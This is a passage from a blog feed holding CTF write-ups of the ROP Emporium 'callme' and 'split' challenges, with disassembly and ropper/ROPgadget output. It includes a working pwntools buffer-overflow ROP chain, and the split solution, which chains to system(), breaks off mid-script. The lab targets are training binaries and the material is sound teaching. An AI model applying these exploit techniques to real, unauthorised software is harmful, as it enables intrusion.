<p>You must call the <code>callme_one()</code>, <code>callme_two()</code> and <code>callme_three()</code> functions in that order, each with the arguments <code>0xdeadbeef</code>, <code>0xcafebabe</code>, <code>0xd00df00d</code> e.g. <code>callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d)</code> to print the flag. <strong>For the x86_64 binary</strong> double up those values, e.g. <code>callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)</code></p>
</blockquote>
<p>additionally, it urges to learn about the PLT (procedure linking table)</p>
<p>i'm assuming the <code>callme</code> functions look something like:</p>
<div class="sourceCode" id="cb1"><pre class="sourceCode c"><code class="sourceCode c"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="dt">void</span> callme_one<span class="op">(</span><span class="dt">long</span> arg1<span class="op">,</span> <span class="dt">long</span> arg2<span class="op">,</span> <span class="dt">long</span> arg3<span class="op">);</span></span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a><span class="dt">void</span> callme_two<span class="op">(</span><span class="dt">long</span> arg1<span class="op">,</span> <span class="dt">long</span> arg2<span class="op">,</span> <span class="dt">long</span> arg3<span class="op">);</span></span>
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a><span class="dt">void</span> callme_three<span class="op">(</span><span class="dt">long</span> arg1<span class="op">,</span> <span class="dt">long</span> arg2<span class="op">,</span> <span class="dt">long</span> arg3<span class="op">);</span></span></code></pre></div>
<p>keep in mind the x64 calling convention:</p>
<ol type="1">
<li><code>rdi</code></li>
<li><code>rsi</code></li>
<li><code>rdx</code></li>
<li><code>rcx</code></li>
<li><code>r8</code></li>
<li><code>r9</code></li>
<li>7th+ argument -&gt; stack</li>
</ol>
<h2 id="plt--got-explanation"><a href="#plt--got-explanation" class="anchor">#</a>PLT &amp; GOT explanation</h2>
<p>quick tldr:</p>
<blockquote>
<p>The <strong>Global Offset Table (GOT)</strong> and <strong>Procedure Linkage Table (PLT)</strong> are crucial mechanisms for dynamic linking in Linux binaries. They work together to enable efficient resolution of external function addresses at runtime.</p>
</blockquote>
<p>in practice, the PLT contains small stub functions for each external function, it's basically like a 'trampoline' of sorts for each external function</p>
<p>the GOT, however, contains the actual runtime addresses of external functions. it initially points back to the PLT for lazy binding, and gets updated with real addresses after the first call (lazy binding- think lazy loading!)</p>
<h3 id="example"><a href="#example" class="anchor">#</a>example</h3>
<p>first call to <code>callme_one()</code>:</p>
<ol type="1">
<li>your code calls <code>callme_one@plt</code></li>
<li>PLT jumps to address in <code>callme_one@got</code></li>
<li>GOT initially points back to PLT resolver code</li>
<li>resolver looks up real address &amp; updates GOT</li>
<li>jumps to actual <code>callme_one()</code></li>
</ol>
<p>but, after this (subsequent calls):</p>
<ol type="1">
<li>your code calls <code>callme_one@plt</code></li>
<li>PLT jumps to address in <code>callme_one@got</code></li>
<li>GOT now has real address, jumps directly there</li>
</ol>
<p>for this challenge, we need to call three functions (<code>callme_one</code>, <code>callme_two</code>, <code>callme_three</code>) with specific args, so the PLT entries are my buddies because:</p>
<ul>
<li>PLT addresses don't change between runs (unlike the actual function addresses with ASLR)</li>
<li>easy targets, since i can reliably jump to <code>callme_one@plt</code> in my ROP chain</li>
<li>AND, i still get FULL FUNCTIONALITY! THAT'S RIGHT!!!! CALLING THE PLT ENTRY WORKS EXACTLY LIKE CALLING THE REAL FUNCTION!!!</li>
</ul>
<p><img src="/images/callme/Pasted%20image%2020260129152951.png" alt="PLT diagram" /></p>
<h2 id="methodology"><a href="#methodology" class="anchor">#</a>methodology</h2>
<div class="sourceCode" id="cb2"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> file callme</span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a><span class="ex">callme:</span> ELF 64-bit LSB executable, x86-64, version 1 <span class="er">(</span><span class="ex">SYSV</span><span class="kw">)</span><span class="ex">,</span> dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID<span class="pp">[</span><span class="ss">sha1</span><span class="pp">]</span>=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped</span></code></pre></div>
<div class="sourceCode" id="cb3"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="ex">pwndbg</span><span class="op">&gt;</span> checksec</span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a><span class="ex">File:</span>     /home/river/Desktop/cyber/ropemporium/callme/callme</span>
<span id="cb3-3"><a href="#cb3-3" aria-hidden="true" tabindex="-1"></a><span class="ex">Arch:</span>     amd64</span>
<span id="cb3-4"><a href="#cb3-4" aria-hidden="true" tabindex="-1"></a><span class="ex">RELRO:</span>      Partial RELRO</span>
<span id="cb3-5"><a href="#cb3-5" aria-hidden="true" tabindex="-1"></a><span class="ex">Stack:</span>      No canary found</span>
<span id="cb3-6"><a href="#cb3-6" aria-hidden="true" tabindex="-1"></a><span class="ex">NX:</span>         NX enabled</span>
<span id="cb3-7"><a href="#cb3-7" aria-hidden="true" tabindex="-1"></a><span class="ex">PIE:</span>        No PIE <span class="er">(</span><span class="ex">0x400000</span><span class="kw">)</span></span>
<span id="cb3-8"><a href="#cb3-8" aria-hidden="true" tabindex="-1"></a><span class="ex">RUNPATH:</span>    b<span class="st">&#39;.&#39;</span></span>
<span id="cb3-9"><a href="#cb3-9" aria-hidden="true" tabindex="-1"></a><span class="ex">Stripped:</span>   No</span></code></pre></div>
<p>the challenge description recommended we use rabin2, so i'll use that for once lol:</p>
<div class="sourceCode" id="cb4"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> rabin2 <span class="at">-i</span> callme</span>
<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a><span class="ex">nth</span> vaddr      bind   type   lib name</span>
<span id="cb4-3"><a href="#cb4-3" aria-hidden="true" tabindex="-1"></a><span class="ex">―――――――――――――――――――――――――――――――――――――</span></span>
<span id="cb4-4"><a href="#cb4-4" aria-hidden="true" tabindex="-1"></a><span class="ex">1</span>   0x004006d0 GLOBAL FUNC       puts</span>
<span id="cb4-5"><a href="#cb4-5" aria-hidden="true" tabindex="-1"></a><span class="ex">2</span>   0x004006e0 GLOBAL FUNC       printf</span>
<span id="cb4-6"><a href="#cb4-6" aria-hidden="true" tabindex="-1"></a><span class="ex">3</span>   0x004006f0 GLOBAL FUNC       callme_three</span>
<span id="cb4-7"><a href="#cb4-7" aria-hidden="true" tabindex="-1"></a><span class="ex">4</span>   0x00400700 GLOBAL FUNC       memset</span>
<span id="cb4-8"><a href="#cb4-8" aria-hidden="true" tabindex="-1"></a><span class="ex">5</span>   0x00400710 GLOBAL FUNC       read</span>
<span id="cb4-9"><a href="#cb4-9" aria-hidden="true" tabindex="-1"></a><span class="ex">6</span>   <span class="at">----------</span> GLOBAL FUNC       __libc_start_main</span>
<span id="cb4-10"><a href="#cb4-10" aria-hidden="true" tabindex="-1"></a><span class="ex">7</span>   0x00400720 GLOBAL FUNC       callme_one</span>
<span id="cb4-11"><a href="#cb4-11" aria-hidden="true" tabindex="-1"></a><span class="ex">8</span>   <span class="at">----------</span> WEAK   NOTYPE     __gmon_start__</span>
<span id="cb4-12"><a href="#cb4-12" aria-hidden="true" tabindex="-1"></a><span class="ex">9</span>   0x00400730 GLOBAL FUNC       setvbuf</span>
<span id="cb4-13"><a href="#cb4-13" aria-hidden="true" tabindex="-1"></a><span class="ex">10</span>  0x00400740 GLOBAL FUNC       callme_two</span>
<span id="cb4-14"><a href="#cb4-14" aria-hidden="true" tabindex="-1"></a><span class="ex">11</span>  0x00400750 GLOBAL FUNC       exit</span></code></pre></div>
<h3 id="pwnme-exploration"><a href="#pwnme-exploration" class="anchor">#</a>pwnme exploration</h3>
<div class="sourceCode" id="cb5"><pre class="sourceCode asm"><code class="sourceCode fasm"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a>pwndbg<span class="op">&gt;</span> disass pwnme</span>
<span id="cb5-2"><a href="#cb5-2" aria-hidden="true" tabindex="-1"></a>Dump of assembler code for function pwnme<span class="op">:</span></span>
<span id="cb5-3"><a href="#cb5-3" aria-hidden="true" tabindex="-1"></a>   0x0000000000400898 &lt;+0&gt;:	<span class="bu">push</span>   <span class="kw">rbp</span></span>
<span id="cb5-4"><a href="#cb5-4" aria-hidden="true" tabindex="-1"></a>   0x0000000000400899 &lt;+1&gt;:	<span class="bu">mov</span>    <span class="kw">rbp</span><span class="op">,</span><span class="kw">rsp</span></span>
<span id="cb5-5"><a href="#cb5-5" aria-hidden="true" tabindex="-1"></a>   0x000000000040089c &lt;+4&gt;:	<span class="bu">sub</span>    <span class="kw">rsp</span><span class="op">,</span><span class="bn">0x20</span></span>
<span id="cb5-6"><a href="#cb5-6" aria-hidden="true" tabindex="-1"></a>   0x00000000004008a0 &lt;+8&gt;:	<span class="bu">lea</span>    <span class="kw">rax</span><span class="op">,[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x20</span><span class="op">]</span></span>
<span id="cb5-7"><a href="#cb5-7" aria-hidden="true" tabindex="-1"></a>   0x00000000004008a4 &lt;+12&gt;:	<span class="bu">mov</span>    <span class="kw">edx</span><span class="op">,</span><span class="bn">0x20</span></span>
<span id="cb5-8"><a href="#cb5-8" aria-hidden="true" tabindex="-1"></a>   0x00000000004008a9 &lt;+17&gt;:	<span class="bu">mov</span>    <span class="kw">esi</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb5-9"><a href="#cb5-9" aria-hidden="true" tabindex="-1"></a>   0x00000000004008ae &lt;+22&gt;:	<span class="bu">mov</span>    <span class="kw">rdi</span><span class="op">,</span><span class="kw">rax</span></span>
<span id="cb5-10"><a href="#cb5-10" aria-hidden="true" tabindex="-1"></a>   0x00000000004008b1 &lt;+25&gt;:	<span class="cf">call</span>   <span class="bn">0x400700</span> <span class="op">&lt;</span>memset<span class="fu">@</span><span class="er">p</span>lt<span class="op">&gt;</span></span>
<span id="cb5-11"><a href="#cb5-11" aria-hidden="true" tabindex="-1"></a>   0x00000000004008b6 &lt;+30&gt;:	<span class="bu">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0x4009f0</span></span>
<span id="cb5-12"><a href="#cb5-12" aria-hidden="true" tabindex="-1"></a>   0x00000000004008bb &lt;+35&gt;:	<span class="cf">call</span>   <span class="bn">0x4006d0</span> <span class="op">&lt;</span>puts<span class="fu">@</span><span class="er">p</span>lt<span class="op">&gt;</span></span>
<span id="cb5-13"><a href="#cb5-13" aria-hidden="true" tabindex="-1"></a>   0x00000000004008c0 &lt;+40&gt;:	<span class="bu">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0x400a13</span></span>
<span id="cb5-14"><a href="#cb5-14" aria-hidden="true" tabindex="-1"></a>   0x00000000004008c5 &lt;+45&gt;:	<span class="bu">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb5-15"><a href="#cb5-15" aria-hidden="true" tabindex="-1"></a>   0x00000000004008ca &lt;+50&gt;:	<span class="cf">call</span>   <span class="bn">0x4006e0</span> <span class="op">&lt;</span>printf<span class="fu">@</span><span class="er">p</span>lt<span class="op">&gt;</span></span>
<span id="cb5-16"><a href="#cb5-16" aria-hidden="true" tabindex="-1"></a>   0x00000000004008cf &lt;+55&gt;:	<span class="bu">lea</span>    <span class="kw">rax</span><span class="op">,[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x20</span><span class="op">]</span></span>
<span id="cb5-17"><a href="#cb5-17" aria-hidden="true" tabindex="-1"></a>   0x00000000004008d3 &lt;+59&gt;:	<span class="bu">mov</span>    <span class="kw">edx</span><span class="op">,</span><span class="bn">0x200</span></span>
<span id="cb5-18"><a href="#cb5-18" aria-hidden="true" tabindex="-1"></a>   0x00000000004008d8 &lt;+64&gt;:	<span class="bu">mov</span>    <span class="kw">rsi</span><span class="op">,</span><span class="kw">rax</span></span>
<span id="cb5-19"><a href="#cb5-19" aria-hidden="true" tabindex="-1"></a>   0x00000000004008db &lt;+67&gt;:	<span class="bu">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb5-20"><a href="#cb5-20" aria-hidden="true" tabindex="-1"></a>   0x00000000004008e0 &lt;+72&gt;:	<span class="cf">call</span>   <span class="bn">0x400710</span> <span class="op">&lt;</span>read<span class="fu">@</span><span class="er">p</span>lt<span class="op">&gt;</span></span>
<span id="cb5-21"><a href="#cb5-21" aria-hidden="true" tabindex="-1"></a>   0x00000000004008e5 &lt;+77&gt;:	<span class="bu">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0x400a16</span></span>
<span id="cb5-22"><a href="#cb5-22" aria-hidden="true" tabindex="-1"></a>   0x00000000004008ea &lt;+82&gt;:	<span class="cf">call</span>   <span class="bn">0x4006d0</span> <span class="op">&lt;</span>puts<span class="fu">@</span><span class="er">p</span>lt<span class="op">&gt;</span></span>
<span id="cb5-23"><a href="#cb5-23" aria-hidden="true" tabindex="-1"></a>   0x00000000004008ef &lt;+87&gt;:	<span class="bu">nop</span></span>
<span id="cb5-24"><a href="#cb5-24" aria-hidden="true" tabindex="-1"></a>   0x00000000004008f0 &lt;+88&gt;:	<span class="bu">leave</span></span>
<span id="cb5-25"><a href="#cb5-25" aria-hidden="true" tabindex="-1"></a>   0x00000000004008f1 &lt;+89&gt;:	<span class="cf">ret</span></span>
<span id="cb5-26"><a href="#cb5-26" aria-hidden="true" tabindex="-1"></a><span class="pp">End</span> of assembler dump<span class="op">.</span></span></code></pre></div>
<p>vulnerable to bof:</p>
<div class="sourceCode" id="cb6"><pre class="sourceCode asm"><code class="sourceCode fasm"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a>   0x00000000004008cf &lt;+55&gt;:	<span class="bu">lea</span>    <span class="kw">rax</span><span class="op">,[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x20</span><span class="op">]</span></span>
<span id="cb6-2"><a href="#cb6-2" aria-hidden="true" tabindex="-1"></a>   0x00000000004008d3 &lt;+59&gt;:	<span class="bu">mov</span>    <span class="kw">edx</span><span class="op">,</span><span class="bn">0x200</span></span></code></pre></div>
<p>looks like it's setting up for a function call, maybe <code>read()</code> or <code>fgets()</code></p>
<h2 id="exploitation"><a href="#exploitation" class="anchor">#</a>exploitation</h2>
<p>alright so whenever i write my payloads i like to really modularize everything, i like having a section for relevant addresses, which i'll assign to variables, and i just overall prefer the neatness &amp; compartmentalization of pwn exploits like this</p>
<p>tldr though, i ended up:</p>
<ol type="1">
<li>noting the addresses of <code>callme_one</code>, <code>callme_two</code>, and <code>callme_three</code>, which i did via rabin2 (as noted above)</li>
<li>noting the values we'll have to change: <code>0xdeadbeefdeadbeef</code>, <code>0xcafebabecafebabe</code>, etc.</li>
<li>writing the initial payload to overflow the vulnerable buffer which i found via the <code>lea</code> &amp; <code>mov</code> pattern, which was 40 bytes (32 byte buffer + 8 bytes for saved rbp = 40 bytes to reach RIP (return address))</li>
<li>"new" part: using ropper to find the gadgets</li>
</ol>
<div class="sourceCode" id="cb7"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb7-1"><a href="#cb7-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> ropper <span class="at">--file</span> callme <span class="at">--search</span> <span class="st">&quot;pop rdi; pop rsi; pop rdx&quot;</span></span>
<span id="cb7-2"><a href="#cb7-2" aria-hidden="true" tabindex="-1"></a><span class="ex">[INFO]</span> Load gadgets for section: LOAD</span>
<span id="cb7-3"><a href="#cb7-3" aria-hidden="true" tabindex="-1"></a><span class="ex">[LOAD]</span> loading... 100%</span>
<span id="cb7-4"><a href="#cb7-4" aria-hidden="true" tabindex="-1"></a><span class="ex">[LOAD]</span> removing double gadgets... 100%</span>
<span id="cb7-5"><a href="#cb7-5" aria-hidden="true" tabindex="-1"></a><span class="ex">[INFO]</span> Searching for gadgets: pop rdi<span class="kw">;</span> <span class="ex">pop</span> rsi<span class="kw">;</span> <span class="ex">pop</span> rdx</span>
<span id="cb7-6"><a href="#cb7-6" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb7-7"><a href="#cb7-7" aria-hidden="true" tabindex="-1"></a><span class="ex">[INFO]</span> File: callme</span>
<span id="cb7-8"><a href="#cb7-8" aria-hidden="true" tabindex="-1"></a><span class="ex">0x000000000040093c:</span> pop rdi<span class="kw">;</span> <span class="ex">pop</span> rsi<span class="kw">;</span> <span class="ex">pop</span> rdx<span class="kw">;</span> <span class="ex">ret</span><span class="kw">;</span></span></code></pre></div>
<p>noted this address, and my payload ended up looking like:</p>
<pre class="python3"><code>from pwn import *
p = process(&#39;./callme&#39;)

pop_rdi_rsi_rdx = p64(0x40093c)

# addresses
callme_one = p64(0x00400720)
callme_two = p64(0x00400740)
callme_three = p64(0x004006f0)

# args
arg1 = p64(0xdeadbeefdeadbeef)
arg2 = p64(0xcafebabecafebabe)
arg3 = p64(0xd00df00dd00df00d)

payload = b&#39;A&#39;*40

payload += pop_rdi_rsi_rdx + arg1 + arg2 + arg3 + callme_one
payload += pop_rdi_rsi_rdx + arg1 + arg2 + arg3 + callme_two
payload += pop_rdi_rsi_rdx + arg1 + arg2 + arg3 + callme_three

p.sendline(payload)
p.interactive()</code></pre>
<p>why this works:</p>
<div class="sourceCode" id="cb9"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb9-1"><a href="#cb9-1" aria-hidden="true" tabindex="-1"></a><span class="co"># The gadget executes:</span></span>
<span id="cb9-2"><a href="#cb9-2" aria-hidden="true" tabindex="-1"></a><span class="co"># pop rdi    &lt;- pops arg1 from stack into rdi</span></span>
<span id="cb9-3"><a href="#cb9-3" aria-hidden="true" tabindex="-1"></a><span class="co"># pop rsi    &lt;- pops arg2 from stack into rsi</span></span>
<span id="cb9-4"><a href="#cb9-4" aria-hidden="true" tabindex="-1"></a><span class="co"># pop rdx    &lt;- pops arg3 from stack into rdx</span></span>
<span id="cb9-5"><a href="#cb9-5" aria-hidden="true" tabindex="-1"></a><span class="co"># ret        &lt;- jumps to callme_one (next value on stack)</span></span></code></pre></div>
<p>and all done!</p>
<p>note: if that exact gadget had NOT existed, i would have had to find individual <code>pop</code> calls:</p>
<div class="sourceCode" id="cb10"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb10-1"><a href="#cb10-1" aria-hidden="true" tabindex="-1"></a><span class="ex">pop_rdi</span>   <span class="co"># 0x??????: pop rdi; ret</span></span>
<span id="cb10-2"><a href="#cb10-2" aria-hidden="true" tabindex="-1"></a><span class="ex">pop_rsi</span>   <span class="co"># 0x??????: pop rsi; ret</span></span>
<span id="cb10-3"><a href="#cb10-3" aria-hidden="true" tabindex="-1"></a><span class="ex">pop_rdx</span>   <span class="co"># 0x??????: pop rdx; ret</span></span></code></pre></div>
<p>and exploitation would have been more like:</p>
<pre class="python3"><code>payload += pop_rdi_gadget
payload += arg1
payload += pop_rsi_gadget
payload += arg2
payload += pop_rdx_gadget
payload += arg3
payload += callme_one</code></pre>]]></summary>
</entry>
<entry>
    <title>ROP Emporium: split</title>
    <link href="https://rivers.sh/posts/ropemporium-split/" />
    <id>https://rivers.sh/posts/ropemporium-split/</id>
    <published>2026-01-27T00:00:00Z</published>
    <updated>2026-01-27T00:00:00Z</updated>
    <summary type="html"><![CDATA[<h2 id="challenge-info"><a href="#challenge-info" class="anchor">#</a>Challenge Info</h2>
<p>Use ROP (Return-Oriented Programming) to call <code>system("/bin/cat flag.txt")</code> by chaining gadgets together.</p>
<h2 id="recon"><a href="#recon" class="anchor">#</a>Recon</h2>
<div class="sourceCode" id="cb1"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> file split</span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a><span class="ex">split:</span> ELF 64-bit LSB executable, x86-64, version 1 <span class="er">(</span><span class="ex">SYSV</span><span class="kw">)</span><span class="ex">,</span> dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID<span class="pp">[</span><span class="ss">sha1</span><span class="pp">]</span>=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped</span></code></pre></div>
<div class="sourceCode" id="cb2"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="ex">pwndbg</span><span class="op">&gt;</span> checksec</span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a><span class="ex">File:</span>     split</span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a><span class="ex">Arch:</span>     amd64</span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a><span class="ex">RELRO:</span>      Partial RELRO</span>
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a><span class="ex">Stack:</span>      No canary found</span>
<span id="cb2-6"><a href="#cb2-6" aria-hidden="true" tabindex="-1"></a><span class="ex">NX:</span>         NX enabled</span>
<span id="cb2-7"><a href="#cb2-7" aria-hidden="true" tabindex="-1"></a><span class="ex">PIE:</span>        No PIE <span class="er">(</span><span class="ex">0x400000</span><span class="kw">)</span></span>
<span id="cb2-8"><a href="#cb2-8" aria-hidden="true" tabindex="-1"></a><span class="ex">Stripped:</span>   No</span></code></pre></div>
<p>Same protections as ret2win - no canary, no PIE, but NX is enabled so we need ROP instead of shellcode.</p>
<h2 id="gathering-intel"><a href="#gathering-intel" class="anchor">#</a>Gathering Intel</h2>
<p>First, let's see what useful strings exist:</p>
<div class="sourceCode" id="cb3"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> strings split <span class="kw">|</span> <span class="fu">grep</span> <span class="st">&quot;flag&quot;</span></span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a><span class="ex">/bin/cat</span> flag.txt</span></code></pre></div>
<p>The command we need is in the binary. Now let's find available functions:</p>
<div class="sourceCode" id="cb4"><pre class="sourceCode asm"><code class="sourceCode fasm"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a>pwndbg<span class="op">&gt;</span> info functions</span>
<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a>0x0000000000400560  system<span class="fu">@</span><span class="er">p</span>lt</span>
<span id="cb4-3"><a href="#cb4-3" aria-hidden="true" tabindex="-1"></a>0x00000000004006e8  pwnme</span>
<span id="cb4-4"><a href="#cb4-4" aria-hidden="true" tabindex="-1"></a>0x0000000000400742  usefulFunction</span></code></pre></div>
<p><code>system@plt</code> is available, and there's a <code>usefulFunction</code>:</p>
<div class="sourceCode" id="cb5"><pre class="sourceCode asm"><code class="sourceCode fasm"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a>pwndbg<span class="op">&gt;</span> disass usefulFunction</span>
<span id="cb5-2"><a href="#cb5-2" aria-hidden="true" tabindex="-1"></a>Dump of assembler code for function usefulFunction<span class="op">:</span></span>
<span id="cb5-3"><a href="#cb5-3" aria-hidden="true" tabindex="-1"></a>   0x0000000000400742 &lt;+0&gt;:     <span class="bu">push</span>   <span class="kw">rbp</span></span>
<span id="cb5-4"><a href="#cb5-4" aria-hidden="true" tabindex="-1"></a>   0x0000000000400743 &lt;+1&gt;:     <span class="bu">mov</span>    <span class="kw">rbp</span><span class="op">,</span><span class="kw">rsp</span></span>
<span id="cb5-5"><a href="#cb5-5" aria-hidden="true" tabindex="-1"></a>   0x0000000000400746 &lt;+4&gt;:     <span class="bu">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0x40084a</span></span>
<span id="cb5-6"><a href="#cb5-6" aria-hidden="true" tabindex="-1"></a>   0x000000000040074b &lt;+9&gt;:     <span class="cf">call</span>   <span class="bn">0x400560</span> <span class="op">&lt;</span>system<span class="fu">@</span><span class="er">p</span>lt<span class="op">&gt;</span></span>
<span id="cb5-7"><a href="#cb5-7" aria-hidden="true" tabindex="-1"></a>   0x0000000000400750 &lt;+14&gt;:    <span class="bu">nop</span></span>
<span id="cb5-8"><a href="#cb5-8" aria-hidden="true" tabindex="-1"></a>   0x0000000000400751 &lt;+15&gt;:    <span class="bu">pop</span>    <span class="kw">rbp</span></span>
<span id="cb5-9"><a href="#cb5-9" aria-hidden="true" tabindex="-1"></a>   0x0000000000400752 &lt;+16&gt;:    <span class="cf">ret</span></span>
<span id="cb5-10"><a href="#cb5-10" aria-hidden="true" tabindex="-1"></a><span class="pp">End</span> of assembler dump<span class="op">.</span></span></code></pre></div>
<p>This calls <code>system()</code> but with the wrong argument:</p>
<div class="sourceCode" id="cb6"><pre class="sourceCode asm"><code class="sourceCode fasm"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a>pwndbg<span class="op">&gt;</span> x<span class="op">/</span>s <span class="bn">0x40084a</span></span>
<span id="cb6-2"><a href="#cb6-2" aria-hidden="true" tabindex="-1"></a>0x40084a:       &quot;/bin<span class="op">/</span>ls<span class="st">&quot;</span></span></code></pre></div>
<p>Not useful - we need <code>/bin/cat flag.txt</code>. Let's find its address:</p>
<div class="sourceCode" id="cb7"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb7-1"><a href="#cb7-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> objdump <span class="at">-s</span> split <span class="kw">|</span> <span class="fu">grep</span> <span class="st">&quot;cat flag&quot;</span></span>
<span id="cb7-2"><a href="#cb7-2" aria-hidden="true" tabindex="-1"></a> <span class="ex">601060</span> 2f62696e 2f636174 20666c61 672e7478 /bin/cat flag.tx</span></code></pre></div>
<p>String address: <code>0x601060</code></p>
<h2 id="the-rop-strategy"><a href="#the-rop-strategy" class="anchor">#</a>The ROP Strategy</h2>
<p>In x86-64, the first function argument goes in the <code>rdi</code> register. We need to:</p>
<ol type="1">
<li>Load <code>0x601060</code> (our string) into <code>rdi</code></li>
<li>Call <code>system()</code></li>
</ol>
<p>We need a <code>pop rdi; ret</code> gadget:</p>
<div class="sourceCode" id="cb8"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb8-1"><a href="#cb8-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> ROPgadget <span class="at">--binary</span> split <span class="at">--only</span> <span class="st">&quot;pop|ret&quot;</span></span>
<span id="cb8-2"><a href="#cb8-2" aria-hidden="true" tabindex="-1"></a><span class="ex">Gadgets</span> information</span>
<span id="cb8-3"><a href="#cb8-3" aria-hidden="true" tabindex="-1"></a><span class="ex">============================================================</span></span>
<span id="cb8-4"><a href="#cb8-4" aria-hidden="true" tabindex="-1"></a><span class="ex">0x00000000004007c3</span> : pop rdi <span class="kw">;</span> <span class="ex">ret</span></span>
<span id="cb8-5"><a href="#cb8-5" aria-hidden="true" tabindex="-1"></a><span class="ex">0x000000000040053e</span> : ret</span>
<span id="cb8-6"><a href="#cb8-6" aria-hidden="true" tabindex="-1"></a><span class="ex">...</span></span></code></pre></div>
<p><code>0x4007c3</code> - exactly what we need.</p>
<h2 id="vulnerability"><a href="#vulnerability" class="anchor">#</a>Vulnerability</h2>
<p>Same pattern as ret2win, <code>pwnme</code> allocates 32 bytes but reads 96 bytes (<code>0x60</code>):</p>
<div class="sourceCode" id="cb9"><pre class="sourceCode asm"><code class="sourceCode fasm"><span id="cb9-1"><a href="#cb9-1" aria-hidden="true" tabindex="-1"></a>   0x00000000004006ec &lt;+4&gt;:     <span class="bu">sub</span>    <span class="kw">rsp</span><span class="op">,</span><span class="bn">0x20</span>      <span class="co">; 32 bytes allocated</span></span>
<span id="cb9-2"><a href="#cb9-2" aria-hidden="true" tabindex="-1"></a>   ...</span>
<span id="cb9-3"><a href="#cb9-3" aria-hidden="true" tabindex="-1"></a>   0x0000000000400723 &lt;+59&gt;:    <span class="bu">mov</span>    <span class="kw">edx</span><span class="op">,</span><span class="bn">0x60</span>      <span class="co">; reading 96 bytes!</span></span></code></pre></div>
<p>Offset to return address: 40 bytes (32 buffer + 8 saved RBP)</p>
<h2 id="building-the-rop-chain"><a href="#building-the-rop-chain" class="anchor">#</a>Building the ROP Chain</h2>
<pre><code>Stack after overflow:
+------------------+
| &#39;A&#39; * 40         |  &lt;- padding
+------------------+
| pop rdi; ret     |  &lt;- gadget address
+------------------+
| 0x601060         |  &lt;- gets popped into rdi
+------------------+
| system@plt       |  &lt;- execute system(rdi)
+------------------+</code></pre>
<p>Flow:</p>
<ol type="1">
<li><code>ret</code> pops <code>0x4007c3</code> into RIP</li>
<li><code>pop rdi</code> pops <code>0x601060</code> into RDI</li>
<li><code>ret</code> pops <code>0x40074b</code> into RIP</li>
<li><code>system("/bin/cat flag.txt")</code> executes</li>
</ol>
<h2 id="exploitation"><a href="#exploitation" class="anchor">#</a>Exploitation</h2>
<div class="sourceCode" id="cb11"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb11-1"><a href="#cb11-1" aria-hidden="true" tabindex="-1"></a><span class="im">from</span> pwn <span class="im">import</span> <span class="op">*</span></span>
<span id="cb11-2"><a href="#cb11-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb11-3"><a href="#cb11-3" aria-hidden="true" tabindex="-1"></a><span class="co"># addresses</span></span>
